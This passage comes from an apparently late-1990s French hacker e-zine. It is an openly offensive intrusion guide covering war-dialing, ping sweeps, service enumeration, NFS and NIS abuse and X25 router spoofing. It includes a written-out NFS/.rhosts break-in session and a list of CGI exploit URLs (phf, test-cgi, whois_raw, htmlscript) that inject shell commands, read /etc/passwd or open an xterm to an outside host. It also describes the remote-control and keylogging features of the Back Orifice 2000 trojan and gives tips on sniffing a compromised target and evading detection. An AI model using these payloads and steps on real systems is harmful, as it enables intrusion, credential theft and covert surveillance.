Si l'on connaît un préfixe, il faut être particulièrement méfiant. La cible ne détient pas forcément tous les numéros correspondant à toutes les valeurs de suffixe. Il faut dans ce cas valider manuellement en procédant par encadrement de la plage. Si l'on dispose d'un ensemble de numéros (tirés d'un annuaire), il faut vérifier qu'ils partagent un même préfixe, puis rechercher les plus grand et plus petit numéros alloués. On en déduit alors une plage en arrondissant au dessus et au dessous. Cette plage est alors très sûre (sauf si elle se fonde sur des informations périmées), mais peut très bien ne constituer qu'une fraction de la véritable plage gérée par l'autocommutateur. dans tous les cas, il est intéressant de valider la faisabilité de la recherche sur cette plage Astuces sans garantie
Les informations sont obtenues suite aux passages de l'outil TONELOC pour détecter des porteuses. On détecte donc un certain nombre de modem qui répondent. Le résultat typique d'un toneloc est : 04:26:10 " 04:26:10 ToneLoc v1.10 (Sep 29 1994) 04:26:10 ToneLoc started on 13-Mar-97 04:26:10 Using COM1 (16450 UART) 04:26:10 Data file: 011234567X.DAT 04:26:10 Config file: TL.CFG 04:26:10 Log file: TONE.LOG 04:26:10 Mask used: 011234567X 04:26:10 Range used: 0-9 04:26:10 Scanning for: Carriers 04:26:10 Initializing Modem ... Done 04:28:21 0112345675 - Timeout (3) 04:29:01 0112345670 - Timeout (0) 04:27:32 0112345671 - * CARRIER * 04:28:21 0112345674 - Timeout (3) 04:29:01 0112345676 - Timeout (0) 04:28:21 0112345672 - Timeout (3) 04:29:01 0112345679 - Timeout (0) 04:29:01 0112345673 - Timeout (0) 04:28:21 0112345678 - Timeout (3) 04:29:01 0112345677 - Timeout (0) On y détecte donc un modem sur le n° 0112345671 A l'issu de ce travail (souvent répétitif environ 10000 appels pour 6 modems par exemple), on dispose donc de porteuses de modem(s). Ces porteuses vont pouvoir ensuite être accédées pour vérifier si le modem accepte les connexions entrantes.
Phase 2 : Exploitation des informations recueillies
Attention, à partir de cette phase, toutes les opérations effectuées peuvent être interprétées à la limite comme une tentative d'intrusion. Elles ne sont par contre pas vraiment punissables par la loi. Axe Internet On dispose à l'issue de la phase 1 d'adresse IP de réseau ou de machines.
l'outil ping est disponible sous UNIX et dans les autres OS. Je l'utilise plutôt sous UNIX car il est plus facile de le paramètrer. Nous avons bricolé des outils qui permettent de grouper les ping. Ils sont à la base des shell-scripts. Nous avons deux versions :
for i in `$1` do ping -c 2 $i >> resultat & sleep 1 done Son principal inconvénient est de ne pas trier les résultats et de ne pas générer le fichier de base des adresses.
echo " " > $1 for i in `1-255` do echo $2.$i >> $1 ping -c 2 $2.$i >> $1 done Son principal inconvénient est de devoir être lancée en arriere plan pour gagner du temps et de générer un fichier résultat par adresse de classe C. Les différentes variantes sont liées soit à un niveau de détail dans le ping (-c 10, -d, etc.), soit dans l'affichage des informations à l'écran avant de les stocker dans le fichier résultat (| tee -a ...) ATTENTION, les schells scripts lancés en arrière plan ne doivent pas afficher de message donc eviter celui contenant les "tee". L'exploitation des résultats peut-être réalisé soit à la main en visualisant le fichier (fastidieux) soit par des greps +/- automatisés. Je me suis arrêté à une suite de grep du style :
A la fin de cette phase, on est normalement à même de savoir si certaines machines de la victime sont accessibles sur Internet. Attention, si une machine répond sur un sous-réseau, il est intéressant de repasser le ping sur toute la plage plusieurs fois. En effet, certaines machines peuvent ne pas avoir été branchées lors du premier passage ou n'avoir pas répondu à cause du time-out faible. Il faut également tenir compte du décalage horaire si nécessaire. 2.Regarder quels sont les services réseaux accessibles sur ces machines.
Les outils d'intrusiontcp_scan et udp_scan sur les machines actives pour identifier les services disponibles Utilisation des couches actives publiques pour recueillir des informations (rpc, nfs, finger, ftp anonyme, smtp via telnet sur le port 25, etc.) Cette opération peut s'effectuer à la main ou à l'aide d'outils complets comme SATAN, Nessus ou NMAP.
On obtient alors la liste des services actifs tant en tcp qu'en udp sous une forme du type : 80:http 23:telnet ... Certains services sont particuliérement utiles. Il s'agit dans un premier temps de : 69 : tftpd qui peut parfois permettre de récupérer le fichier /etc/passwd (récupérable uniquement avec udp_scan 79 : fingerd qui permet d'obtenir des informations sur le site et les utilisateurs connectés 80 : httpd qui signifie que le site dispose d'un site web. L'accès à ce site web est un des moyens le plus sûr de s'assurer que l'on attaque bien le bon site. 111 : Le port mapper, la machine accepte des appels RPC (NFS, YP, etc. sont interessants pour la suite) Dans un second temps, des services comme smtp, telnet, ftp et rlogin permettent de se connecter à la machine.
Welcome to Linux version 2.2.7 at rasta.legang.fr ! 3:05pm up 5 min, 3 users, load average: 0.16, 0.13, 0.08 Login Name TTY Idle When Where toto - albert console 1 Thu 12:37 :0 titi - Titi rené pts/2 13 Mon 09:04 192.93.xxx.xxx demo - Demonstration pts/4 18 Mon 09:09 192.93.yyy.yyy ...On y trouve les infos suivantes :
Welcome to Linux version 2.0.0 at rasta.legang.fr ! 3:10pm up 10 min, 4 users, load average: 0.04, 0.09, 0.07 Login: test Name: test passwd Directory: /home/test Shell: /bin/bash On since Wed Jul 9 15:08 (MET DST) on tty3 1 minute 9 seconds idle No mail. Project: Je travaille sur le projet X No Plan. Toutes les informations sur le champ gecos, les projets sur lesquels travaille l'utilisateur peuvent être utilisées dans une phase ultérieure d'agression. Parmi les utilisateurs, certains doivent être remarqués. par exemple, les utilisateurs "guest" ou "demo" qui n'ont fréquemment pas de mot de passe ou les comptes de produits (ingres, informix, etc.) qui ont fréquemment des mauvais mots de passe.
program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100005 1 udp 704 mountd 100005 1 tcp 706 mountd 100003 2 udp 2049 nfs 100003 2 tcp 2049 nfsL'un des points importants concerne la détection de NFS (nfsd, mountd dans les services). Un autre type de service doit être remarqué, l'usage de NIS et des yellows pages (yp). Je vous conseil d'utiliser un autr OS que linux, il existe beaucoup de problème de compils et d'utilsation de yp sur Linux, on peut via ces services optenir la map du yppasswd et des autres fichiers gérés par NIS (outil ypsnarf, ypghost, etc.).
showmount -e @IP_machine Un résultat du type : Export list for 127.0.0.1: /home (everyone)signifie que la partition /home est exportable pour toutes les machines sur internet. Plus fréquemment, on trouve un répertoire exportable vers des machines désignées. Si elles appartiennent au client, on sait que si on les cracke, on aura la possibilité de monter les répertoires correspondant sur une autre machine et ainsi de suite.
ftp @IP_machine user anonymous ... entrer votre E-Mail comme mot de passe ... password guestRésultat : On dispose alors d'une liste d'adresse IP de machines qui répondent et des informations sur les couches réseaux actives sur ces machines. En ayant lancé soit le ftp, soit finger, soit le SMTP, on doit avoir également une idée des versions de ces différentes couches ainsi que le type d'OS des machines. On peut également avoir stocké des noms d'utilisateurs (finger, /etc/passwd du ftp anonyme, etc.). La plupart des OS et des couches ont des bugs connus et référencés dans les avis des CERTS US ou australiens
Remarque
Axe X25Les moyens d'accès à un réseau X25 sont variables :
Nous sommes donc a priori capable d'émuler les moyens d'accès 1, 3, 6. Si nous trouvons un PAD privé de la cible (c'est arrivé), nous sommes alors capable d'émuler 2. Il nous manque donc la LS (c'est évident), le X25 Transpac pur et Numéris. Au moyen des accès dont nous disposons, il est possible d'atteindre (suivant leur configuration) des commutateurs, des routeurs ou des machines terminales. Il est possible également en spécifiant le contenu du champ user data du paquet d'appel de diagnostiquer l'utilisation d'encapsulations SNA/X25, DSA/X25 ou IP/X25. Utilisation d'un accès PAD
Utilisation de la carte X32
Existence du correspondant Si ce n'est pas le cas, message CLR NP YYY appartenance au GFA, effectué par le dernier commutateur TRANSPAC message CLR NA YYY inhibition du PCV message CLR RNA YYYcontrôle de l'adresse appelante par le commutateur de la cible contrôle des données du paquet d'appel par le commutateur ou l'équipement terminal contrôle en fonction de la sous adresse (qui suit les 9 chiffres) par le commutateur dans les trois cas, rejet par le distant, souvent LIB DTE Accès à des configurateurs Les routeurs CISCO sont accessibles en PAD comme par telnet. Une access list peut être configurée pour contrôler les accès aux consoles virtuelles (les mêmes vtyX).
Les commutateurs X25 ont en général un configurateur accessible en PAD
Quelques infos sur les commutateurs TRT, en vrac :
Accès à des routeursEn connaissant les adresses de deux routeurs communiquant en IP sur X25, et sous réserve qu'il n'y ait pas de GFA ni de contrôle de l'adresse de l'appelant, il doit être possible de se faire passer pour l'un des deux routeurs vis à vis de l'autre.Ceci donne donc un accès au réseau IP, et permet de plus d'usurper les adresses IP Il est plus que vraisemblable que ceci ne soit réalisable que lorsque le routeur que l'on usurpe n'est pas en communication avec le routeur cible. Quelques réserves (à valider) sont cependant à émettre. Il semble en effet que dans le cas des routeurs CISCO, les échanges se fassent sur des circuits virtuels ditincts, le routeur appelé ouvrant alors le second circuit virtuel vers l'adresse X25 du routeur que nous usurpons. Il ne peut donc alors y avoir de retour. Ceci pourrait peut être contourné en modifiant la configuration de la cible via SNMP. La fraude dans le cas de SNA sur X25 semble encore plus complexe, car il est impératif de disposer d'un accès licitement défini dans la VTAM list, faute de quoi la communication ne saura s'établir. Analyse des informations présentes dans la configuration d'un routeurLa connaissance de sa propre adresse X25 est probablement impossible, puisqu'il n'y a pas de raison qu'elle soit mentionnée dans sa configuration. Par contre, si l'on a accès aux configurations de deux machines communiquant l'une avec l'autre à travers X25 en faisant de l'encapsulation, il doit être possible de déperminer les adresses X25 de chacune des deux :
Phase 3 : Axe InternetOn dispose à l'issue de la phase 2 d'adresses IP de réseau ou de machines accessibles.
Il n'existe pas de méthode toute faite pour le hack, chaque hacker detient son experience, c'est souvent à partir ce cette limite qu'il découvre son talent ou pas. A partir de cette étape tous ce vous pouvez faire est considéré comme illicite par la loi.
A partir de cette étape, nous detenons un premièr audit du réseau: machines par IP, type d'OS, les ports ouverts, et les eventuels DOS connu par l'outils d'analyses. Le passage d'un tel outil laisse des traces et il existe des logiciel pour répérer des tentatives d'intrusions, il est préférable de se deconnecter et de se faire attribuer une IP différentes, chez un provider gratuit avec une identité inconnue (www.vunet.com) La suite :
evil# mount victim.com:/export/foo /foo evil# cd /foo evil# ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest evil# echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd evil# ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest evil # su guest evil % echo 194.86.157.110 >> guest/.rhosts evil % rlogin victim.com Welcome to victim.com! victim %Si l'on est dans le cas 4,
Annexes
Annexe 1 : Toneloc : l'outil de recherche de modemToneloc toneloc datafile /M:[mask] /R:[range] /D:[range] /X:[mask] /#:[nombre] /C[config] /S:[StartTime] /E:[EndTime] /H:[heure] /T:[-] /K:[-] RQ : le séparateur ":" n'est pas obligatoire Datafile Pas clair : plutot le fichier contenant la liste des plages de numéros à essayer (ou fichier dans lequel est enregistré le résultat ?)
Utilitaires autour de toneloc :
Annexe 2 : Liste des outils de hacking sous UNIX
Recoupement d'informations : cakeii
|
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _ -*4*- `^°*;:,.> Bugs CGI! <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Yopyop ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
CGI Security
Le CGI est encore tres populaire sur les serveurs www malgre l'apparition de suites logicielles plus completes sur les serveurs. Pendant que l'ASP et le PHP se font concurrence, le CGI continue a faire son bonhomme de chemin. A l'heure qu'il est, grand nombre de scripts CGI contiennent toujours des vulnerabilites. Certains de ceux qui sont presentes ici ont ete corriges et ne sont plus vulnerables,
toutefois il y a encore de nombreux sites qui les utilisent encore. La liste ici presente est loin d'etre exhaustive et des mises a jour sont a prevoir. Table des matieres
Test cgi's/cgi-bin/test-cgi?\whatever/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd /cgi-bin/test-cgi?/* /cgi-bin/test-cgi?* HTTP/1.0 /cgi-bin/test-cgi?x * /cgi-bin/nph-test-cgi?* HTTP/1.0 /cgi-bin/nph-test-cgi?x * /cgi-bin/test-cgi?x HTTP/1.0 * HotMail
Les scripts CGI qui sont utilises par (Hot)mail ont un trou de securite qui permet
a des personnes non autorisees de rentrer dans le compte email d'utilisateurs et de lire
leurs mails. Le probleme affecte des versions de Hotmail qui ont ete mise en place en Decembre 1998.
La ligne de commande suivante revele l'URL qui peut etre utilisee pour acceder au compte email de l'utilisateur "billg" (billg@hotmail.com)
Le resultat de cette commande est de donner (si et seulement si il est actuellement loggue)
l'URL qui permet d'acceder au compte de billg.
Le resultat devrait ressembler a quelque chose comme cela: TextCounter versions 1.0-1.2 (Perl) et 1.0-1.3 (C++) par Matt Wright (Juin 1998)
Les recentes versions du programme TextCounter (utilise pour donner le nombre de
visiteurs d'une page) ne supprime pas les metacaracteres introduits par l'utilisateur.
Ce qui a pour resultat de permettre a des utilisateurs distants d'executer des commandes
shell sur le serveur. Ceci affecte a la fois les versions Perl et C++.
Voici les deux lignes responsables du probleme: Divers scripts guestbook (Juin 1998)Le Bug apparait pour les utilisateurs qui:
Comme vous pouvez le voir il y a beaucoup de "si" et donc tres peu d'utilisateur sont touches. Excite Web Search Engine (EWS) version (November 1998)
Le moteur de recherche Excite enregistre des informations critiques (incluant les mots de passe encryptes d'administrateurs) dans des fichiers qui sont accessibles au niveau utilisateur. Ceci permet a des utilisateur sans privileges d'avoir acces a la partie administration de EWS a partir d'UNIX et de NT. Info2www, versions 1.0-1.1
info2www, qui convertit les fichiers GNU "info" en pages web, ne verifie pas les nom de
fichiers fournis par l'utilisateur avant de les ouvrir. Count.cgi, versions 1.0-2.3
Count.cgi est un compteur de visites, et il contient un gug (stack overflow) qui permet a un utilisateur distant d'executer des commandes UNIX sur le serveur. Webdist.cgi IRIX 6.2, 6.3
Ce script fait partie d'un systeme qui permet aux utilisateurs d'installer et de distribuer des logiciels a travers le reseau. A cause d'une mauvaise verification des parametres CGI, des utilisateurs distants peuvent executer des commandes sur le serveur avec les permissions du daemon. Php.cgi, multiple versions
Le script CGI php.cgi, ne devrait jamais etre installe dans le repertoire cgi-bin. Ceci permet a quiconque d'executer des commande shell sur la machine serveur.
PHP fournit aussi les fichier d'exemples mlog et mylog qui contient un trou de securite permettant de visualiser n'importe quel fichier sur le serveur: Files.pl, Novell WebServer Examples Toolkit v.2
Du fait d'une mauvaise verification des donnees entrantes de l'utilisateur, le fichier files.pl, fournit avec l'installation de Novell WebServer permet aux utilisateurs de voir n'importe quel fichier ou repertoire du systeme, ce qui a bien sur pour resultat de compromettre la confidentialite des documents, et potentiellement de donner au crackers les informations necessaires pour pouvoir penetrer le systeme (niark niark niark...) Nph-test-cgi, toutes versions
Ce script inclut dans de nombreuses versions de NCSA httpd et des daemons apache peut etre exploite par un utilisateur distant pour obtenir un listing des fichiers et repertoires presents sur le serveur. AnyForm, version 1.0Un utilisateur distant peut executer des commandes sur le serveur.http://www.uky.edu/~johnr/AnyForm2 FormMail, version 1.0Un utilisateur distant peut executer des commandes sur le serveur.http://alpha.pr1.k12.co.us/~mattw/scripts.html PhfUn utilisateur distant peut executer des commandes sur le serveur.Exploit: /cgi-bin/phf?Q=x%0apwd /cgi-bin/phf?Q=x%ffpwd /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd /cgi-bin/phf?%0a blablabla &Qalias=&Qname=&Qemail=&Qnickname=&Qoffice_phone= ... usw /cgi-bin/phf?Qname=%0acat%20/etc/passwd Plus d'infos: http://members.tripod.com/~yopyop/exploits/phf.htm http://hoohoo.ncsa.uiuc.edu/ Omnihttpdhttp://omni.server/cgi-bin/visadmin.exe?user=guestPfdispaly.cgiUn utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.Exploit: /cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|' /cgi-bin/pfdispaly.cgi?/../../../../etc/motd /cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|' Faxsurvey
Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.
Toutes les versions S.u.S.E. 5.1 et 5.2 Linux Dist avec le package HylaFAX installe sont vulnerables. Whois_raw.cgi cdomain v1.0.Exploit:/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0 /cgi-bin/whois_raw.cgi?fqdn=%0acat%20/etc/passwd Test.bat et perl.exe sur Netscape Serveur
Il est aussi recommande de ne pas mettre PERL.EXE dans le repertoire CGI-BIN car ceci
permet d'executer des commandes PERL directement sur le serveur. Htmlscript (www.htmlscript.com)Possibilite d'acces a n'importe quel fichier sur le serveur.Exploit: /cgi-bin/htmlscript?../../../../etc/passwd lotus domino serverPossibilite d'ecrire et de changer la configuration du serveur!!!!!!Exploit: http ... /domcfg.nsf/?open htto ... /domcfg.nsf/URLRedirect/?OpenForm http:... /database.nsf/viewname?SearchView&Query="*" Pour plus d'infos: http://www.insecure.org/sploits/lotus.domino.database.html wguest.exe
David Litchfield alias Mnemonic a decouvert un bug dans wguest.exe qui permet a un utilisateur distant de voir n'importe quel fichier texte du systeme. Wguest.exe est un script CGI concu par Webcom Datakommunikation, qui permet aux utilisateurs de signer un guestbook. Le nombre de serveurs affectes est assez important.
Template.htm est la page qui sera affichee grace a wguest.exe apres que l'utilisateur ait entre ses informations.
¥õÞÝóþ |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ _________________________________________ _ -*5*- `^°*;:,.> Back Orifice 2000 <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯By Stryknine¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________ Bo2k est la nouvelle version du trojan Back Orifice. Le serveur, installé sur une machine tournant sous MSWin 95/98/NT, permet à un client de se connecter à la bécane distante avec des accès et droits complets. Le port de connection est configurable mais un firewall peut bloquer la connexion. Le protocole réseau utilisé peut-être TCP ou UDP et le port compris entre 1 et 65535. Les ports par défauts sont 54320 pour TCP et 54321 pour UDP. Les transfert d'information peuvent être encrypté. Au lancement, le serveur se place dans \WINDOWS\SYSTEM (win9x) ou \WINDOWS\SYSTEM32 (winNT) et supprime l'exemplaire original. Le nom de l'executable est paramétrable (le nom par défaut est UMGR32.EXE) Généralement le serveur se lance au démarrage de la machine grace à une clé dans la registry. Le serveur peut ne pas apparaitre dans le gestionnaire des taches de win ou même apparaitre sous un autre nom qui dépend de sa config. Liste des fonctionnalité (non-exhaustives : de nouvelles sont disponibles via des plug-ins). Fonctionnalité : Simple: - Ping, pour vérifier la présence du serveur. - Query, liste les commandes disponibles sur le serveur System: - Reboot Machine - Lock-up Machine, bloque tous les process de la machine distante, ainsi que souris, clavier et serveur BO. - List Passwords - Get system info Key logging: permet d'enregistrer dans un fichier l'ensemble des saisie réalisées sur la machine distante. - Log Keystrockes - End Keystroke log - View Keystroke log - Delete Keystroke log GUI: - System message box Affiche une boite de dialogue sur la machine distante TCP/IP: - Map port -> Other IP, redirection du trafic vers une autre IP - Map port -> Console App, ??? - Map prot -> HTTP Fileserver, établie un serveur HTTP sur la machine distante permettant via un browser de naviguer dans le system distant ou sin réseau local. - List Mapped ports, liste les port mappés sur la machine distante et le service associé - Remove Mapped ports, supprime un port mappé - TCP File send, envoi un fichier ver une autre machine exécutant la command TCP File Receive - Map port -> TCP File Receive, permet de recevoir un fichier via TCP. MS Networking: - Add share, partage un lecteur/répertoire de la machine distante - Remove share, supprime un partage - List share, liste l'ensemble des partages - List shares on LAN, idem pour les lecteurs réseau - Map shared device, mappe une ressource réseau en lecteur local - Unmap shared device, l'inverse de ci-dessus - List connections; liste les partages Process control: - List process, liste les process de la mahine distante accompagnée de leur ID - Kill process, met fin à un process identifié par son ID - Start process, démarre un process en lançant un EXE sur le serveur Registry: Permet la manipulation de la registry de Windows (clés et valeur, création, modification, suppression, liste) Create Key Set Value Get Value Delete Key Delete value rename Key Rename value Enumerate kets Enumerates values Multimedia: Capture Video Still, capture une bitmap depuis un périphérique de capture (comme une quickcam) Capture AVI, idem mais crée un AVI (ndt:une nouvelle section special bo2k est visible sur le site du gang a la section virus) Stryknine
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _ -*6*- `^°*;:,.> Jargon file - the end? - <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By tobozo ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________ C'est certainement le dernier numero hackoff qui contient une rubrique de ce nom. Au cours de nos diverses recherches sur le web pour trouver le dernier patch pppd, on s'est trouves face-a-face avec le site suivant :
http://www.linux-france.org/prj/jargonf/. Sans commentaires... Tobozo
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
Avant de clore ce hackoff 17e du nom, voici un petit extrait d'une conversation ma foi fort interessante entre deux membres du gang : Salut, Je recherche a comprendre comment utiliser un sniffer, c'est bien beau la theorie mais la pratique est un peu plus dure... En fait j'utilise (ou plutot essaye d'utiliser) des sniffers du style sniffit, ADMsniff, linsniff, et en general j'arrive a voir les paquets qui passent par ma carte reseau (eth0) mais je ne sais pas dutout comment faire pour sniffer celles de qqn d'autre (exemple quelqu'un connecté sur mon reseau local). Dois-je modifier les valeur de ma table ARP. Est-il possible que je sniff quand je suis connecté par modem. Dois-je etre en mode melé ou est-ce uniquement ma cible. A+ Kailas Salut Le principe du sniff est d'utiliser un soft (tcpdump, sniffit...) qui va passer la carte réseau en promiscous mode (ou mode mélé) et les diriger vers un fichier txt par exemple, cela permet de recevoir l'ensemble des paquets qui passe sur le réseau auquel on est connecté. Si tu veux faire un essai en local, tu branche ton PC sur un hub et d'autres pc dessus (1 ou 2) qui vont communiquer entre eux, et là tu vas voir apparaitre sur ton PC, l'ensemble des paquets du réseau. Si tu utilise un switch sur ton réseau au lieu d'un hub, cela ne fonctionne pas ou alors il faut hacker le switch (voir hackoff no16). La table ARP n'est juste qu'une correspondance entre ton adresse IP et ton adresse MAC, elle ne rentre pas en fonction dans cela. Evidemment il est possible de sniffer depuis un modem, le modem étant considéré comme une carte réseau (voila pourquoi tu installe la carte d'accès distant sur win95) Pour sniffer depuis ton modem, tu redirige ton sniffer vers ppp0 au lieu de eth0. Il faut ensuite t'introduire sur le réseau vers lequel tu veux sniffer. Quand tu etablis une liaison chez ton provider, tu crées une liaison point à point qui est gérée par le routeur, qui va ensuite vérifier ton login/pass sur un serveur d'authentification radius ou tacacs.. Donc tu ne peux pas sniffer depuis une simple connexion chez ton provider, parce que chaque paquet est routé vers un modem précis (c'est le travail du routeur de lier une adresse IP à une liaison asynchrone) Il faudrait pour cela, hacker le routeur pour lui dire de t'envoyer l'ensemble des paquets, il y une commande debug all par exemple sur cisco, qui sniff l'ensemble des connexions et ensuite de rediriger cette commande vers ton IP. Le sniff distant se fait en general sur un modem d'une entreprise. Tu connais un numéro de telephone d'un pc comportant un modem (sinon il existe toneloc), tu accèdes à ce PC, place sa carte réseau en promiscous mode et redirige le resultat vers toi. Donc c'est la cible que l'on passe en mode mélé, pour sniffer l'ensemble des paquets passant par sa carte. Sniffdoz¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
Voili c'est fini pour cette edition du hackoff17, rien de prevu pour le moment en ce qui concerne le No18 mais on vous promet du chaud pour la rentree... Que la bande passante soit avec vous et sauvez les arbres, mangez du castor. Tob ________________________________________________________________________________ ¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -{\________________________/}- ~~ ~~ ~~ ~~°ºØø¦ ¿ H A C K 0 F F ? ¦øغ°~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~-{/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\}-~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/legang ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/yopyop ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://members.tripod.com/hackoolic ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang... _________________________________________________________________________________ ¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _____________________________________ ((((((( H@CK-OFF !! )))))))) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~ ¤º°`°º ¤º°`°º ¤º°`°º ~ ~ ~ ~ | SE | - | RI | - | AL | ~ ~ ~ ~ | SA | - | VA | - | TE | ~ ~ ~ ~ | SY | - | ST | - | EM | ~ ~ ~ ~ ø,¸¸,ø ø,¸¸,ø ø,¸¸,ø ~ ~ Cakeii - Tobozo - Yopyop - Silk - Nk Sniffdoz - Aolshame - Misto - Blured ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ { \|/ >http://come.to/legang 8 -- * -- >silk@silk.cut { /|\ cakeii@usa.net nk01@n0past.com tobozo@biosys.net misto@bigfoot.com sniffdoz@yahoo.com yopyop@webmails.com blured75@hotmail.com aolshame@softhome.net emminence@earthling.net ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, / O o O o O o \ \ O O O / º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [EOF]